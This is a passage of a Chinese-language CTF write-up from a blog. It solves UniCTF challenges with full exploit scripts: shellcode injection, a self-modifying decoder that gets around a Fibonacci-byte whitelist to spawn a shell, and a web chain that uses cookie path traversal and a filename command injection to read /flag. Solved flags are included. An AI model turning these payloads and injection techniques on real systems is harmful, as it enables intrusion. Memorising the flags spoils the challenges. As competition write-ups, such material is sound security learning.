io.sendline(payload)\n\n    print(\"&#91;*] Sending Stage 2 Shellcode...\")\n    time.sleep(1)\n\n    shellcode = b'x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05'\n    io.send(shellcode)\n\n    io.interactive()\n\nif __name__ == '__main__':\n    solve()<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">cat flag\u6ca1\u6709\u4e1c\u897f<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-354-1024x525.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"525\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-354-1024x525.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2687\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b <code>start.sh<\/code> \u53d1\u73b0 flag \u88ab\u79fb\u52a8\u5230\u4e86 <code>\/data\/flag<\/code>\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-355-1024x525.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"525\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-355-1024x525.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2688\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{a8bdf87e-1e4b-409a-8446-b14e17f909e3}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">smcode<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-356-1024x464.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"464\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-356-1024x464.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2689\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-357-1024x545.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"545\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-357-1024x545.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2690\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-358-1024x593.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"593\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-358-1024x593.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2691\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-359-1024x460.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"460\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-359-1024x460.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2692\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7a0b\u5e8f\u8bfb\u53d6\u7528\u6237\u8f93\u5165\uff0c\u9010\u5b57\u8282\u68c0\u67e5\u662f\u5426\u5728Fibonacci\u6570\u5217\uff08<code>0, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233<\/code>\uff09\u5bf9\u5e94\u7684 <code>FIB_BYTES<\/code> \u767d\u540d\u5355\u4e2d\u3002\u68c0\u67e5\u901a\u8fc7\u540e\u8df3\u8f6c\u6267\u884c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u9898\u539f\u7406\uff1aSMC<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7531\u4e8esyscall\u6307\u4ee4\uff08<code>0x0f 0x05<\/code>\uff09\u4e0d\u5728\u767d\u540d\u5355\u4e2d\uff0c\u65e0\u6cd5\u76f4\u63a5\u5199\u5165shellcode\u3002\u5229\u7528<code>mmap<\/code>\u62e5\u6709\u5199\u6743\u9650\uff0c\u6784\u9020\u4e00\u6bb5<strong>Decoder\uff08\u89e3\u7801\u5668\uff09<\/strong>\uff0c\u5728\u8fd0\u884c\u65f6\u52a8\u6001\u8ba1\u7b97\u51fashellcode\u5e76\u5199\u5165\u5185\u5b58\uff0c\u7136\u540e\u6ed1\u884c\u6267\u884c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5229\u7528\u6307\u4ee4\uff1a<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6e05\u96f6\u5bc4\u5b58\u5668\uff1aAND AL, &#91;RIP+offset] (22 05 ...)\uff0c\u914d\u5408\u540e\u7eed\u76840\u5b57\u8282\u6570\u636e\u4f7f AL=0\u3002\n\u6784\u9020Shellcode\u5b57\u8282\uff1aADD EAX, imm32 (05 ...)\u3002\u5229\u7528\u767d\u540d\u5355\u4e2d\u7684\u6570\u5b57\u7d2f\u52a0\u51d1\u51fa\u76ee\u6807\u5b57\u8282\u3002\n\u5199\u5165\u5185\u5b58\uff1aADD &#91;RIP+offset], AL (00 05 ...)\u3002\u5c06\u51d1\u597d\u7684\u5b57\u8282\u5199\u5165\u540e\u7eed\u7684\u5360\u4f4d\u7b26\uff08\u521d\u59cb\u4e3a0\uff09\u4e2d\u3002\n\u8c03\u6574\u504f\u79fb\uff1a\u7531\u4e8e RIP+offset \u4e2d\u7684 offset \u5fc5\u987b\u4e5f\u662f\u767d\u540d\u5355\u5b57\u7b26\uff0c\u901a\u8fc7\u586b\u5145 NOP (0x90) \u8c03\u6574\u5f53\u524d\u6307\u4ee4\u4f4d\u7f6e\uff0c\u76f4\u5230\u76f8\u5bf9\u504f\u79fb\u91cf\u5408\u6cd5\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\nio = remote('nc1.ctfplus.cn', 37694) \n\nFIB_BYTES = &#91;0, 1, 2, 3, 5, 8, 0xD, 0x15, 0x22, 0x37, 0x59, 0x90, 0xE9]\n\ndef is_valid_offset(val):\n    b = p32(val)\n    for byte in b:\n        if byte not in FIB_BYTES:\n            return False\n    return True\n\ndef get_fib_sum(target):\n    target = target % 256\n    components = &#91;]\n    while target &gt; 0:\n        found = False\n        for f in sorted(FIB_BYTES, reverse=True):\n            if f &lt;= target and f != 0:\n                components.append(f)\n                target -= f\n                found = True\n                break\n        if not found:\n            raise ValueError(\"Cannot construct value\")\n    return components\n\ntarget_shellcode = b\"x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05\"\n\npayload = bytearray()\n\npayload += b'x22x05x02x00x00x00'\npayload += b'x05x00x00x00x00'\n\ncurrent_al = 0\nshellcode_offset_start = 0x600\n\nfor i, target_byte in enumerate(target_shellcode):\n\n    needed = (target_byte - current_al) % 256\n\n    if needed != 0:\n        components = get_fib_sum(needed)\n        for val in components:\n            payload += b'x05' + p8(val) + b'x00x00x00'\n            current_al = (current_al + val) % 256\n\n    while True:\n        target_pos = shellcode_offset_start + i\n        current_pos = len(payload)\n        rel_offset = target_pos - (current_pos + 6)\n\n        if rel_offset &lt; 0:\n            log.error(\"Shellcode offset too close! Increase shellcode_offset_start.\")\n            exit()\n\n        if is_valid_offset(rel_offset):\n            payload += b'x00x05' + p32(rel_offset)\n            break\n        else:\n            payload += b'x90'\n\nwhile len(payload) &lt; shellcode_offset_start:\n    payload += b'x90'\n\npayload += b'x00' * len(target_shellcode)\n\nlog.info(f\"Payload length: {len(payload)}\")\nif len(payload) &gt; 0x1000:\n    log.error(\"Payload too large!\")\n    exit()\n\nio.recvuntil(b\"Input your shellcode\")\nio.send(payload)\n\ntry:\n    io.recvuntil(b\"&#91;+]\")\n    log.success(\"Check passed! Shellcode executing...\")\n    io.interactive()\nexcept Exception as e:\n    log.error(\"Exploit failed or connection closed.\")\n    print(io.recvall())<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-360-1024x397.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"397\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-360-1024x397.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2693\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{690817b0-0dd3-4d86-87cd-130471a2aa24}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Uni_check<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-361-1024x445.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"445\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-361-1024x445.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2694\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-362-1024x455.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"455\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-362-1024x455.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2695\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fa6\u67e5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bbf\u95ee Web \u670d\u52a1\u53d1\u73b0\u5b58\u5728\u4ee5\u4e0b\u7aef\u70b9\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>\/<\/code>\uff1a\u4e3b\u9875\uff0c\u8bbe\u7f6e Session Cookie\u3002<\/li>\n\n\n\n<li><code>\/check<\/code>\uff1a\u89e6\u53d1\u540e\u7aef\u8fd0\u884c <code>python3 check.py<\/code>\u3002<\/li>\n\n\n\n<li><code>\/download<\/code>\uff1a\u4e0b\u8f7d\u6587\u4ef6\uff0c\u53c2\u6570\u652f\u6301 <code>file<\/code> \u548c <code>ext<\/code>\uff0c\u53ef\u7528\u4e8e\u4e0b\u8f7d\u6e90\u7801\uff08<code>file=..&amp;ext=zip<\/code>\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-363-1024x805.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"805\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-363-1024x805.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2696\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-364-1024x575.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-364-1024x575.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2697\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-365-1024x605.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"605\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-365-1024x605.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2698\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6f0f\u6d1e\u70b9 1\uff1a\u4efb\u610f\u6587\u4ef6\u521b\u5efa (Go)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u5206\u6790 Go \u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u53d1\u73b0\u670d\u52a1\u5668\u5728\u5904\u7406 Session Cookie \u65f6\u5b58\u5728\u8def\u5f84\u904d\u5386\u6f0f\u6d1e\u3002 \u5982\u679c\u53d1\u9001 Cookie <code>session=..\/filename<\/code>\uff0c\u670d\u52a1\u5668\u4f1a\u5728 Web \u6839\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2a\u540d\u4e3a <code>filename<\/code> \u7684\u7a7a\u6587\u4ef6\uff08\u6216\u5305\u542b Session \u6570\u636e\u7684\u6587\u4ef6\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6f0f\u6d1e\u70b9 2\uff1a\u547d\u4ee4\u6ce8\u5165<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728 <code>check.py<\/code> \u4e2d\uff0c<code>cleanup_illegal_files<\/code> \u51fd\u6570\u8d1f\u8d23\u5220\u9664\u975e\u767d\u540d\u5355\u6587\u4ef6\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>delete_cmd = f\"rm -f {self.base_dir}\/{fname}\"\nsubprocess.run(delete_cmd, shell=True, ...)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b64\u5904\u76f4\u63a5\u5c06\u6587\u4ef6\u540d <code>fname<\/code> \u62fc\u63a5\u5230\u547d\u4ee4\u4e2d\uff0c\u4e14\u4f7f\u7528\u4e86 <code>shell=True<\/code>\u3002\u5982\u679c\u6587\u4ef6\u540d\u5305\u542b Shell \u7279\u6b8a\u5b57\u7b26\uff08\u5982\u53cd\u5f15\u53f7\u3001<code>$()<\/code>\u3001<code>;<\/code> \u7b49\uff09\uff0c\u5373\u53ef\u5728\u5220\u9664\u6587\u4ef6\u65f6\u89e6\u53d1\u547d\u4ee4\u6267\u884c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528\u601d\u8def<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6784\u9020 Payload \u6587\u4ef6\u540d\uff1a \u6211\u4eec\u9700\u8981\u6267\u884c cat \/flag &gt; F4\u3002 \u7531\u4e8e Linux \u6587\u4ef6\u540d\u4e0d\u80fd\u5305\u542b\u659c\u6760 \/\uff0c\u6211\u4eec\u9700\u8981\u7528 Base64 \u7f16\u7801\u7ed5\u8fc7\uff1aecho L2ZsYWc=|base64 -d \u7b49\u4ef7\u4e8e \/flag\u3002 \u6700\u7ec8\u6587\u4ef6\u540d\u6784\u9020\u4e3a\uff1a`cat $(echo L2ZsYWc=|base64 -d)&gt;F4`\u3002\n\u57cb\u96f7\uff1a \u5229\u7528 Go \u670d\u52a1\u7684 Session \u6f0f\u6d1e\uff0c\u53d1\u9001 Cookie: session=..\/&lt;Payload_Filename&gt;\u3002\u8fd9\u4f1a\u5728\u670d\u52a1\u5668 Web \u6839\u76ee\u5f55\u4e0b\u521b\u5efa\u8fd9\u4e2a\u4ee5\u6076\u610f\u547d\u4ee4\u547d\u540d\u7684\u6587\u4ef6\u3002\n\u5f15\u7206 \uff1a \u8bbf\u95ee \/check\u3002 check.py \u626b\u63cf\u5230\u8fd9\u4e2a\u201c\u975e\u6cd5\u6587\u4ef6\u201d\uff0c\u6267\u884c rm -f .\/&lt;Payload_Filename&gt;\u3002 Shell \u89e3\u6790\u6587\u4ef6\u540d\u4e2d\u7684\u53cd\u5f15\u53f7\uff0c\u4f18\u5148\u6267\u884c cat \/flag &gt; F4\u3002 \u6b64\u65f6 flag \u88ab\u5199\u5165\u5230\u6839\u76ee\u5f55\u4e0b\u7684 F4 \u6587\u4ef6\u4e2d\u3002\n\u6ce8\u610f\uff1a\u7531\u4e8e F4 \u662f\u5728\u626b\u63cf\u9636\u6bb5\u4e4b\u540e\u751f\u6210\u7684\uff0c\u5b83\u4e0d\u4f1a\u88ab\u5f53\u524d\u7684\u6e05\u7406\u5faa\u73af\u5220\u9664\u3002\n\u6536\u7f51 \uff1a \u8bbf\u95ee \/download?file=..&amp;ext=zip \u4e0b\u8f7d\u6574\u4e2a Web \u76ee\u5f55\u7684\u538b\u7f29\u5305\uff0c\u89e3\u538b\u8bfb\u53d6 F4 \u6587\u4ef6\u5373\u53ef\u83b7\u5f97 flag\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport zipfile\nimport io\nimport base64\n\nTARGET = \"http:\/\/nc1.ctfplus.cn:36293\"\n\ndef solve():\n    cmd = \"cat \/flag &gt; F4\"\n    b64_cmd = base64.b64encode(cmd.encode()).decode()\n\n    payload_filename = f\"`cat $(echo {b64_cmd}|base64 -d)&gt;F4`\"\n    cookie_payload = f\"..\/{payload_filename}\"\n\n    cookies = {\n        \"session\": cookie_payload\n    }\n\n    try:\n        requests.get(TARGET, cookies=cookies, timeout=5)\n    except Exception:\n        pass\n\n    try:\n        requests.get(f\"{TARGET}\/check\", timeout=5)\n    except Exception:\n        pass\n\n    try:\n        r = requests.get(f\"{TARGET}\/download\", params={\"file\": \"..\", \"ext\": \"zip\"}, timeout=10)\n\n        if r.status_code == 200:\n            with zipfile.ZipFile(io.BytesIO(r.content)) as z:\n                if \"F4\" in z.namelist():\n                    flag = z.read(\"F4\").decode().strip()\n                    print(f\"&#91;SUCCESS] FLAG: {flag}\")\n                else:\n                    print(\"&#91;-] Exploited but F4 not found in zip.\")\n        else:\n            print(f\"&#91;-] Download failed: {r.status_code}\")\n\n    except Exception as e:\n        print(f\"&#91;-] Error: {e}\")\n\nif __name__ == \"__main__\":\n    solve()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-366.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"821\" height=\"85\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-366.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2699\"  sizes=\"auto, (max-width: 821px) 100vw, 821px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{34111a3e-7970-461a-a12a-8a637df9ecbd}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">EZIO<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-367-1024x484.png'><img class=\"lazyload lazyload-style-1\" 